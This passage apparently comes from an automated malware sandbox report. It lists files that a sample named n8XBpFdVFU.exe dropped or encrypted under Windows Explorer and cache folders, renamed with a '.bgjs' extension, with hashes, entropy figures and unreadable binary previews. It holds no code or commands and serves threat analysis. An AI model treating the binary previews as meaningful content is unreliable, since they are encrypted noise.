SHA-512:	92791309C47444D5AF76CB0378143FE1BC4E326586BB401BB6E94793EBE38205B1525D38044EB559323124E6941833750AACD254835789A08E78709B58753356
Malicious:	true
Preview:	....hI..<2e...'.k.xm.e..7_.r...!...i..o..R;.Ji.......@....6.9..n.Y........q6...v.........o.+2JG/..D..Q._....M.3...I....ht......_9l\fG..!...Y9.nz..$..9....q.A<..)D..J.K.t.9.C8...y5..%W.......C..aCd...n....}....-zO...R/.......D..a2.......R8,.$A.YDj}%.6..U>..Ch.....?.j.H.2m../...7.y..1.h.+...^......@.L......F.....h.-}g 5..`..n^.t.(~F4.>.n..c..G0........x..9."....p'..~_..(..7....:._.._9.....\.h-...{)....~.'.~.-MO..u.8.c..x,Fg..>'C&...(#.../`../....}..=..?....6.Y..\|..t{.....J.UEv..:(.Z.M..I.L.>.j=R.6...E:D..~...)...x.2<.e..M{w.N.....K'....s.;~K,&.k..'c.e...N.d..'...@R......R.g.;&..9/O.\|..\|{.....]........V.......)..O.Nb.....]...a...<OZ...3E..(...K.}Y..k..4....;.g....K=...@k_.:.M...BK..U...k0l...lF.T'....WV...Q..d.?...%...BO:.....l...<.../..T....76K.2F.uOS.:...Jn...0......t...N.d".7B...v.^...3...6..8g........m....Q.7.......{....N... y;.S.'.....Q0....,f>?...fC.C...%z.j..H..&..~C....Mg?H.$....J...zL.&v./(.....6X...H......'R<.bj.ai

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002c.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	103638
Entropy (8bit):	7.9980011090750125
Encrypted:	true
SSDEEP:	1536:IPgHtk/UMHA9R/8sqe3PHWmSbKf06+dw2IGno7Cq2dBQumoIamOgDv0f82pUz3QV:nHt2H28sqSemOQYqXoIDOgDS8DV7/4QQ
MD5:	C9DB214361100D13844BD4097BF957B5
SHA1:	725DC5EE0843AF577A2438BCF9EE3D2F9341B867
SHA-256:	4EFCA4DAC1F32C64FE3F04482C6E8DF9C0DC78F7A9667FD50B023EA6A3E1CC02
SHA-512:	87260CA60CDB76648505FF552E6BE8DC7BF192C72601BDAE67C5C78CED03A9EF1F54AA65EA8F06CB6310D88B6014735CAA29B835D61FCD1605597A5EA7B08E95
Malicious:	true
Preview:	....h....1..sD............R@.. s...Mqf...v..AO.YDv.q.4..._9I...7<..`......K.Jy.Z.g..t...1.KkP.k..d.g.5..J...T...@#..[...!...(ZZ.b........kE .,Q.^.a...-..$....s.r>4Y.7zS.9..>.B..#wt....T?0...E....<.....Z.%.F.Ff.........hq.y.:.e.....g...E..D.LV...z.....[....#&......VS.B:....Srgfw.[/e....@..X...&b....Xm....6..,:.F........wl...DF.).Y....:_\.3.....J.....u....CD[ol.&...c..&...&.L....c.5..f....+.....R...?....h..%+......VE....1.h.k.z..".....0.W.?/..o.`.}.....8.l...%..]..U...8...6..w..$Y.-..Ek.S.[...?..C=....U..Y.Z...-.9b.I..."7..I.o......{\|._..x.5..:...Q.i...D...7.:9l.`.I.h...Zc?$.F.h....@Q...w.#k....Y0.D=........R..?..mp}..7/fG...,....9..5....QJd....5.j.!.7....t.&..\R.D..{q...N.S.......2U.n.,..+_...E.....qI....%..y.?..>wm..Lz.<.b.9.-%f@6....&HA......oR.9XBjV..4.`..x!..g......h......%.1#WHh...}hk......j.b....aY..%S.....D.s.......XqQ.d:%{w....8..3..........L.}.b."..)3.t...%@:h._......^.#.G\|..H.J<i.f.n....8...R..j..<pe......1.X.1.d..c

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000006.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	56862
Entropy (8bit):	7.996568839732198
Encrypted:	true
SSDEEP:	1536:+tcSQo/7erSLgvkb8aixEaysoVUdC1cwSZnisT8:mcOeSL1b8sTVPcIsT8
MD5:	A851B8685D3594C200C0D325F0D5053E
SHA1:	A6689643561BB1598C403626E1B9FEBB7887FC58
SHA-256:	32B56D47EFC839477888D969E9FDA4255F85FAC49A9FE43358E17E91C0F3DC71
SHA-512:	B86EA0D055E91E8CEC29968C24005C5A09190CAD35E62364626231B7120F4BFB707A1FEF8BA14CB039D01FF2694807CC8C4A6BA20B18C17BED510DEF73C36937
Malicious:	true
Preview:	........~R'2...hwm.A.Q.kir#`.6f..V..69..L1.\..q.W..jJ....Y...G. .p..5........~.qo..-.4B....;....k.....G....1E....<....`..../T.......5:...XQ..5. .}.B.0~K.."(.e.x~..,J..Z>q.........G.!BJ.j..l.o..u..\...bN..M........R;.>...O._.t^..&=......].......p.?p..O..M.B......_9zz..`..1...C}.....j$/tYb.$.I.0..`.E...^E....T+;\|..2.lY.U.<.6.lN.n..I...P....7.4..dY.&Q..&S.G.^.}...a......Q....=^.........^.......M....p..X..W9...og]Z..\M..x........Z'(.....UM.D..,...a=.)..9.uq....W.....Jw.0_..g.v.....f.h.4..`.y$..b.T...<.C@.M.o..T3P/.lBg?.......O...{...!..\|.l.._uS.X..G.0..LO....p...cm._......J..%.`....=.5ML_.......h..A.l..aI...V.~jb.......>..b.......C*....N.W<.....E.....q.6#......I.t{......p.[.<.3v........L.....[.a.w... -........NhE.[.R..@A...-]1...7&.>.......-!.....q..&....VA,....C8c.......w..u.U.."a...1..x...bQ..+^.......m2$-1.Mz....xG._.`.`.~l.;.T8..7K..].......6p.9ep.4.._.../.....)d...I..lx....".Yb...).1.)2._...&u..TKX.c....q...iZ.......F.....LmQ...

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	75358
Entropy (8bit):	7.997728968143042
Encrypted:	true
SSDEEP:	1536:MxeDiaAEBxkVq/TSvwoDK4phx2ufxTIRycfmRW/:MADrAqxIq/+C4ph8YNIocfcQ
MD5:	DEF8384995788F4AFDC1871E8D192637
SHA1:	88AB756F030CEDFE49AE6D579BDDDA82E57B03B8
SHA-256:	5C890485DD498F4CA7738816EED296DCD5AD8EAB10E137C221B64AEDF97DBA8C
SHA-512:	1D06C91A8D10DF227199B7C3C005A8CDF762D1D297A23D5A10F23DCC77983B6FB377CC3B7F3C5025F8088FF04FDD9DBEC0337DE96DB7455D4C299D7F99E3257E
Malicious:	true
Preview:	........X.>e.......{Gi.."E.x..e..w...^....ZLaz...xD.5..]....W....L....l.HR.R..1.D]9..S....8..{.j.Y......J...W.._(.;}D.=5...3...[...qM..m.....4..\..V1x\|`>8.:...K..`...K..H....x.Q.k.Rm....G......G.....y..p.......q...K.1;d.....e..8...O..8......q{^ /~.[m.N;......G.]....>...y;..^.n."[u...../........{.k..[.u.R9)d..ue:h....&.... ...sO..B..s.:%&..\...o.pb.M.8z.G`\|\|0..,...t.7..][...H;Gs...D...m...Vd.......Q2Y..q...bf).5d08..2..\J.Pb........Qnnb.%=g..../f.^~.e.&..%d. .A.e.......Lh>..yO.....\|A>../.H.&".`....z.."%..r..e....Y... .j.e....C ..?..a.....N....I..i........=.3'r..Wl.<q.@.Rc....#Y...).$......(..G.L......8.wo.V...........io..N}~...Z.f^.D..~puw.Tf.^.c.......B..\[.8^.D.J.....bi./T..p`Z.K....-Fk..y.)..k,.~.4....Y..W...X....&:27.O.Rl`.qZ.q)...e...d".D.`..m......<......o..s.@......_+.B./.pb.uN..\.!.......!\|.M.. ......V.>..f\|.Q..UKf...r@..PP..:O....s.l$..W.u...MO.E........N.#Hd..}3.V.%......K.S....8........i)..rw5..q.Jp.A..da.......l......

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog.etl.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	581966
Entropy (8bit):	5.817136324348843
Encrypted:	false
SSDEEP:	3072:YwKtFJ7kTLZWPAxezIO6W2nVODTWvBY7C+JYuHBt0O/949ZoJLy7Q2vHGr6dmrnC:KFJ7aWeezIO6WI68IjYuHB+H9QYG6Wc/
MD5:	0CB41CDF31DA63A9F2E2FEB79ED34F50
SHA1:	F2FA0B18EB5BCE68CED7A9CD639D7C1C6BFBCA26
SHA-256:	ADEA33B28994D6AD098DC6B6F8B669D9C21C8E8E46072F96CB8099AF834208F9
SHA-512:	DB4F9B39E2EA9B271CFCF9FD40DDC6F54FCD802727199BB530C4593A2A2EA33E373F12E89E2866302919299BDF2697ABDD38FB9A484F5493DD792B532765F60A
Malicious:	false
Preview:	. ...].').....)...S..?c?....Z?..B..aZ....Z.D4...}.......1".......W.\|.l.8...U.@.......FJ... .<.C..,..A.........bU...b.E.5.b.%D7.]..$....Yy..4x.G.;_-}.$}.....8..<.n.h.7.....3s......1^q6@.....WDi{=j.$0In....+:.9..$.C.d].).%.....4.G...'..0._pTC8N/.>..:.c..a..1.rg9..bZ..Bc(...I.x\H.]........:.......$..I..s.qcM.q`,.3.iU....\......Kd..lW..2,..v7.h.[...>..A...$(F................{.#....vz..Z.38....'>.....q..d."./..~.............3...{....3.cf.b..dfu{.I..uW-<.0...a.(I..E0.P.a.....C..?..;..../...)z.....{..q.1p.....B..m&Aw..L@....I_.v/..\|......'y..]<.T....{....5.a..T2.V)..d..-.....;.._...w>+@....>.P...8.0}...^....,-;X....&.../g.....;.z......\=._&....M.@.."T.......X...h..^..uEu..A......~.;...@lW..1.B.A.....r.O.[qj.V~......e.OK.&....I..A_.t......t...T.d.Y..`....BA.?Oz3.....A.8............nsU.l(..........U*....J.........e..../..K...F..j\|..'...9.?\.I...SS..OMo..=...j..Q.^y..R.....IG&`I..M.K6...L.....ro.@2....L\..[9.n.AV.T.C.HV...R(.,..g`S@.#O4.

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.9923542719377965
Encrypted:	true
SSDEEP:	768:GsqxAt/vWagiD3AhmfclIqSbSnJLyrYBOI2ngWoSjii/6bQ:G2vbg23IPTSb6JLIYwRg/zwyQ
MD5:	C1BA2E070D5DCE24E08526E4B8EBF202
SHA1:	BFF3088008B2C9F0F7E158788980746B3498DB2C
SHA-256:	C7218E06468EEB9550DBD7A85BA48AE0790AC387FC8344F7490B18388CD4D062
SHA-512:	6D6D231FEC25CA9772500D7CD52790A089B9812484B78C71904D2BE7E060D2DED9DA04623EC0E81711042CBA77E338E2BEA4137BDB631743F20D0B0DE675B168
Malicious:	true
Preview:	. ....t\....L....o&.........~..9Gr3.+.n/.O.Cz>H...?.....{9!....)....[..Q.............+rR.9...8.%..yN..9Qh;m/....E.'.dK{'...v..%..BF1$]y-..~..3...;.......fS.\|.2!\gkZ..C....kG#...1?.......+n..xp...1.g-y......dw..X....W...D.u..vL...#.S...2f.Dg.8...u.fC....%_.l..].I.$.$.:...\|...Z>......4nc.(X_.B..@.Q.E."R..I.8...sd.'.....>....sD.k..?...\.a0@.j0(Nt.:.3k^K..}1....Lk..U.........b.2.<.'b......C.......A....E...Eb;4....#.j#..-..}..[$.[Xj`u..y"...2...<P.1.......M.5.......n.pc$..\|..}....,..eJ.,$(.CTc..!.\|H&.` .UX.sP....@...a./.s-]....s[..^T"..g........g..!..1...i..........U.R.,....S...[:3tqY.lj...8..O.1o..v6..`........#1..>z5.........../.=.!./...?..<....)...c.,......."sj.2.[^.'P..o..................b.,.......c...t.....Rc%.p..vD?..D......f...#.>.........@..pnG=U.).}zp.z..X.]J...^.Ep...( r...-O[K.<.A.F....1/ p..^l.w.~...u.c...O.2[...Nv..eN...=.6+.\|.H..d".Z.a.x..} H:..u.[7L_.Eq..."&3....,..;....S.%...V....{..2.2...hR.x.....$1.:.....}..M.

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_1280.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.3428325121509435
Encrypted:	false
SSDEEP:	6:wPN6AnrSIw27Boqyx/INryww9Cgg52oylfrmIQG+IjNMpreWyc3cii96Z:goIwKo1xqrywwk32oy5Xkre1+cii9a
MD5:	22187303444194D7B876C166672BB7C6
SHA1:	3E0645EA595DBEAA397D24482F026EEED248B0DE
SHA-256:	4BFB04438F76395FFA68C5D329FB3DFCD4B7FBBE29E642D2ECDAA459C42592B5
SHA-512:	9DAD25D3B5B0F29822D9382439C018626FF7C2EAC0FC42B33613643C086202FF73CDC4F1D9B377D05C664E37E04F756F3BBC85594960F40FF4B6BB23BE8AC44A
Malicious:	false
Preview:	CMMM .O..\|!.(..V....J..NQ$m.G".0.+.7..aN.....>.;..V........K..a.V...3..&.QG..=...z_b8.z..=/p.Ft^4q......ov.=..c}....m...RDbZ.Y(`....4./7.../.5.O?$=......y..}..."g@..N.W.a.,.j..p(otk.....?.w.....=.Y...:......".!U.?[>Q^.b.D...T....q.x'.(.....F..L.&..\|......[.d6....HE....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_1920.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.326189618240236
Encrypted:	false
SSDEEP:	6:hgrFs9RMihFuUDpkrmLDpTGJ++VZh0IFMbajMDuvzT8w/fMXlN334TVUAuuFPcIm:hgrFcGw1kA9eD703bajMDS8w/f6HoSBz
MD5:	4BEC3730FA71ACE122234D62D4DC5EE5
SHA1:	95CB93461C42ECD2A46C883FE45FE258AAEC5A5C
SHA-256:	DDC7BB716EBCA477D250D41EEAC94C1883FF6EF6A47C8C0C6D3EDE39E363481A
SHA-512:	CDB504BA683B65405F103FF3669988EF40EF41222E454AB3B9819584F8DB3CDCADB6B0478D52EF75737C59F0FB8AA2032ED4490C776DB54F5122B94711AAF431
Malicious:	false
Preview:	CMMM .}..>~....l...w.Ri....l......t..s........t.K..lx.%....?..WN.0.........v.pR..J.*........_...oC..g.Dj..M......or}.c.1%Be........3P.WH..,...U.......8.W[.Q..l3l^.0.W....x.JmA..f.&"...H.C.=.._.....>.E..\...7s,..p!...R..U..k.Y[.{t.a..p.W^...e...\|.x.+..f...U_Z..8...i+qSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_2560.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.356231203441809
Encrypted:	false
SSDEEP:	6:lH4BOsaeI32RJV2JMjSfz1+uaRF8AzF4Mv2P2BNrcIMLwawZVHWyc3cii96Z:lYBOsalEHjU18/F4AgGrcIMsaUVH1+cq
MD5:	3E9A8961373DAACEE9CCF3F12A398CB2
SHA1:	02B89456F497BC2FCB021C3BD52956FD4E224735
SHA-256:	0B243E51C261F963B9F19757E7A18B8B35E967771AD51E5501DCBC2CC2031B3C
SHA-512:	06D3AC08B83A79FDDFAECB0504D1F09B84E7E8396384E51D36DB43441E1372C8590C70D3EBA4442A66ECC3C2F7F01FB6E2CC8B1E8F379053172DE778DD22B0FA
Malicious:	false
Preview:	CMMM ....M.,.C...+{.9...{.....$....6..X....>p.O....P..........AZ.`.+.:...8.}?'.>.c.......N..]...1.+.m..\>...r..4...(.....x..+q.@=........t[)..dv.L.C.......g.]@r...xRCf].,jD.a@.....-.........uB.B...G..`...@...G..{r\|.h..cM.......5...0.$.].S..;x.\.;.\eaP........5.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_768.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.316547848647544
Encrypted:	false
SSDEEP:	6:spS8d+dORg2WP7jFU22jawS0v39nmA5NmqiLb5yY/J7ObfWyc3cii96Z:4SnOL07xU22OwSS9nmkNmLL6bf1+ciik
MD5:	2651BE22CF1D28D7CBA02A477828943A
SHA1:	26C364A1381C52DF9EC19F033E8BFD835F409BB2
SHA-256:	9FA56FE8DCBC6581B9B5E0F52ED1CE37952F9AD60E55A99DEA1AB10402155B60
SHA-512:	CAE5D1A2DE7894F38DA8AF89BCC07E8D9738E9C5F8ADD4890953FCB9663C1BB64891210180349C0E503482678087BF2B40B0A71886F9C11D088F42F2E5E736EE
Malicious:	false
Preview:	CMMM g:...7Z.~.0u.B4v.K......DS4kmy:V.7,.m....+...]...E...W~).A.q.%..u........Ou.Aggx..)..3.H[2o.\...Yn.B...ND.......v8/*...j..b..x.f...+a^.~_P.EGc..#..9...Xj.i..}.Eg..w.L7.....Rz...U].(...hS$................m.?j.9..N....z.:..c......U...Sl....\..L..9..\|..#F....?.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_96.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.345085446788067
Encrypted:	false
SSDEEP:	6:IWQdMm2Gc+t6uezJRX8PM9WWm79zcS602L5rGS3UenPpE3fWyc3cii96Z:SmZqqJ580pM5AiBePpY1+cii9a
MD5:	FEA3056C0B8139ED048D0D32C10F7C53
SHA1:	D1FF584A3F6EE49BBB1582F9BDB7224A8DD4B322
SHA-256:	8644EE04F4EA6CB533D185E0C764E4C59EBAA841C1F93E96DBF478941A2A9C58
SHA-512:	E81EA631256F6C911D66CE4DCF93B9D0A9644D315FB30F0B2EBA974E441B1E0F6959CBF539DD916AF9607C460C30AADF661CE8C8A22233F5C60CBEE27986AA39
Malicious:	false
Preview:	CMMM .n0......L.(!.M+....UN]U..........k.}.R@...eWC.#.}.X1-...2.`.............D...S..c}.....U.......?..#.r.......[......J.n.8..(Sq......\|.3.;..1tg'....................1.nW.*.?.).l.S......4. .%i8l.8.UUTp@...,.T.......t.....eH......K..#......Q^../.%.C...u.I+.}.MyS~Z..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_custom_stream.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.217269078071193
Encrypted:	false
SSDEEP:	6:wGcv/h4n7dj+DSWOoJG74u83zOk2Dg5Zz4B+7+WKAaUC+t9efWyc3cii96Z:wF3m7dkd64u83zj3+WK/UC89ef1+ciik
MD5:	FE00434FA1E187FF393D741A21419445
SHA1:	F221B966DE8922C0ACC0D19FA44988436829291C
SHA-256:	2D883AB88A7B84096B9C5003A8AC28E967DB1B2EDD19C959E2E1EB2854269AB7
SHA-512:	5F1787A588296411042F0FD55E4B9D528BECFDF872F3BDD59A90DE7A92EA29F84F914110221CA92269188404C3A97490A870076FA94B72AD3BEBBBA391CAF5BD
Malicious:	false
Preview:	CMMM I.6.g...A..!.....I...."....09a....c...g..^..1........h..2U...3c...8..[J.uK..J..XB.2.[.Y....p2.A-.'...I.g{3..z.1...%j..>..-.u.3..S.tt..KNv.-.{&....t..}6v-....vI...R......~W(E.............g.i.\`.9..u3a......^9...s8......I...R8@..T....s..P.EE...-. ....c..U..91.N...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_exif.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.277857302852509
Encrypted:	false
SSDEEP:	6:xKGI+/fro6bycoK2IvTtz6wVR+aAVhu6F+FyhrIfVsVvfWyc3cii96Z:xKGI+/M6bycqIvQwvCh8cEWFf1+cii9a
MD5:	D22B3DCD511F53F16897ED4D2190707C
SHA1:	AB401B8464D81FF11F560F0ED1EA402AD1177EC9
SHA-256:	8A37CFB2158122C10482420E410ADA7EF1EE24142B1826C79E93A31C66C840D4
SHA-512:	A2273528DAD6100B34212A8CBA81ECAAB58AD0185E5223E647EAFBCC1C1B2288ECA666B078B8684249FEC5E451970443FDE3CB3AD0504E05A55ABF7E335753EC
Malicious:	false
Preview:	CMMM .".2...]...['(.N...@.s...s.H..}..=[X..E...z..]..5*...$'...7x.... ..Vt37L.(l.._.#..@q.)....9..`.M.B...Y.]W..P\..e...J.8R..9..'.J.g_X3.e....8....$u..H..jT~..a.......d.C....$.R.@.1P...a...l/.3......Yw".B/.s{.Mlb.lbs.......s.l...DV..,U..[y:.fQ5l.2.7.z.E.i.D..4.'..49zp.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_sr.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.348977011983961
Encrypted:	false
SSDEEP:	6:/1kVud0xNOzK0z1XyTiZr2buxfIjnJ1kJQFLu9Q1ljsHIWyc3cii96Z:/OVS0TcqTiN2buJIzJ1ksLy9HI1+ciik
MD5:	BFBF3782D92D52B58ED532DE00A3383C
SHA1:	F8CF1FBBBC682C7CBCE2B0FD55B4D9E413DC91BC
SHA-256:	4EFBF9279F08EC3CFA76BE5880B8144F85A0C37B031C8B68723E4431A5D91801
SHA-512:	4065F7FBF227FF3C8C0A8A3A57812EE120E0D59F6E2E793453522C4250F70BFADEFEEE9595F0DEF79194AC78FD96CD5D5226BE446C834A96A5F07B081E8D8F0D
Malicious:	false
Preview:	CMMM jy.!E.....1..P...}.:.yK.W.[A...w..{.`W.....):"...M.@.Or..u......w.`b.........0.Y.\|.3...m..IKn.wg$"dM..<'...v......uI..V'D.M.\..... {9.....a...k....D..........j<*.K\|....A2Lq.S.=..4.h,{..`wb.....Sy....q.../..+...+/.....%.i....v....4...F0[.Q..a1m...Y<...a...=]w;SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_wide.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.336155530235964
Encrypted:	false
SSDEEP:	6:gaclug7mEYRukCcD9k5fc1E8r8m/G06B+taX1nKP5MxPTWyc3cii96Z:ulugPYIkCMi578rVclgyR1+cii9a
MD5:	3DECB7D80F9B9ACB00CC73E098F9469B
SHA1:	E737B693E2703EDC1D7CCA7D4C51F98FA389F534
SHA-256:	A547EA6F70F8CCB4BBC1B069FC092E66A127A09D9017EA4D1D19A5FBE98C7551
SHA-512:	1C1298A9C3F2C320B7208524B200812D3717086A1607891AB5297897CF8E453125E4440BD641D91BBC1583B0215032456CCD1DCB9D764ECDBE1D3C073DC2B714
Malicious:	false
Preview:	CMMM ...N3.......\.n.z.r:u....!._.t;...y...B.....d...A.U.....#..)3f.3..>s3..Y.d...6..Z..&....!s~<.^..H...:.'..N.vs....<.KN6..ql..h;<..4..i#C.....am..m.B.....T........ON..T.....ER(.P.=+...\|NC..+.r.,...5.%.(...)o...]....x.........d.KF...42.qq..G.:e.=.<..u..2...}.5!R..".\|.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_wide_alternate.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.262195580752571
Encrypted:	false
SSDEEP:	6:G5HTcMzBm7fdVYRz0v3ZkHXVMhCN+1vMpb3yjqkefSi8vfWyc3cii96Z:GVrzByskpkHCs+1k1OqkASVvf1+cii9a
MD5:	7C3E9120A901C440D02270D8DB50687E
SHA1:	221FE44C8D2301110B2F1FA7436A1D22E0AB86A1
SHA-256:	C68DBF583433DC4A326CEB286CD66F0E19234920018FA7F91CF7EE21CE2E20E0
SHA-512:	0E53B6507488C6E5B2EB0287967157B7D05ABFCF2045DA1457AC8198734CB9A89A7EAC421099399B8698950045820DE515ED9ADD647B390C4CBE765332754B28
Malicious:	false
Preview:	CMMM ...x.K........+,..D.K.H....%.XK..9...........U...N7.....3...8.c.o}t..e.3.%%X`.S.M...`..<..O.-.....~.E. 4.}...+O._...o.UC..s}>3E$e/...L{u+...U...E'<........MRX.~...B CYM....). .Q.w,...M..".Y...tZ6....0.y\|..i^.G..e..i..p..]....gC.PlW. .f.dy...=..hg.wU.2...f9-..a...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_1280.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.275009397800404
Encrypted:	false
SSDEEP:	6:K7dUIQM3tND8l4gvtpJJvvHatBk/hkPwT1ADrGVtYj/oYazmXecvfWyc3cii96Z:+Sr2gltjjOkmPwTODm6Omucvf1+cii9a
MD5:	C1AC396D5F4F50DB1C4956B338724A99
SHA1:	6470820960DBB997245A663DEA10EBDD9EA007F9
SHA-256:	B57DEEACC9E5CDE590CF2532356E07F25A7EA3761D8D8CBB0A09887049730F41
SHA-512:	B9A50CB3E174D15D8C64BF0D60715C7114E04CEDC15882D2AAFFBBFE1E9D90638B063D6CF0A46011B9A4214689ABCAFB86CF2EFE87A4BFCA450451752F0A6F50
Malicious:	false
Preview:	CMMM ....i....Kh.............;4J..[!..}*.......%.K.X..(...N3Z@...w.....k...x.B/...w.2.`y.q.-...E...31....5H...`.p....".B.....A.b....@A.J.R.A1..tZ.vYpEf..pz.F...........k..(...}N..a >F.......T..8.{.O.7...-....-m.....L%vv)...B.O<...............u\..n.h..aN..PKJ.6s.q..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_1920.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.283929647520823
Encrypted:	false
SSDEEP:	6:PsEXU6NYn62GkKclApJ04Iu+hPTIKR5PW+ZmJ4uorLUqD325sbqfWyc3cii96Z:U6+Vlw04IhPTIK5PWOrd8f1+cii9a
MD5:	79D11114EC336A1D1A6B8EA8B06B63FB
SHA1:	04BC493644C2F128F489FDD511641327A53E12E4
SHA-256:	435A9460F987A8982A1B511236C7D28360841952BF9CFF444031F14E807B9C88
SHA-512:	8D2F344DC7416C31CDCB88CCAA3D4E0D582846DCF010C59CAA57B8A3A7CB1B5EE4F18708F3D600CB9803861E986ECAF0296FEE2090495FC81DF8353C31715742
Malicious:	false
Preview:	CMMM .o.Ib.q.mbw.:..F......if....Z.w..Q....)_.....u...LU.>\.R...g4........\|..I.'R..I...../...../.Y.<%.6S.'..D]."..%.L&.Ik`.SZ..^]....{].......B.S...j......JJ.y.t\.2(f....f.$s.). .a@.......UI!q...!...cy.X.6#V......\.q....B.q....f{...A...Y...`./<r.T*O...YM.x...tSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_2560.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	GeoSwath RDF
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.362168904612405
Encrypted:	false
SSDEEP:	6:S0HSXMKRscCdPIRyq9LUIMFdxibBaBi/jgb9KWozsgNhC1wMthzWyc3cii96Z:S0sMKnCdPAmIMFdxiVt7+KWafNavz1+X
MD5:	696026CE2783FB5FCF01C9495304FBDF
SHA1:	D6ED003468AE180F03D86A06688B0B5D21A40AB7
SHA-256:	FCDF05048A483DD79F3E5F1656989EC487AB122C804310F0B3277D8ABD79D1CC
SHA-512:	CB56F1DF45C1D6E125836AEB8D8CE9CD2B2E79A051656331382913A4BF912078E98AE906DB2EEEDB7352C365A2697E8E5C1112ACC9969698C09D1154C0ED31D8
Malicious:	false
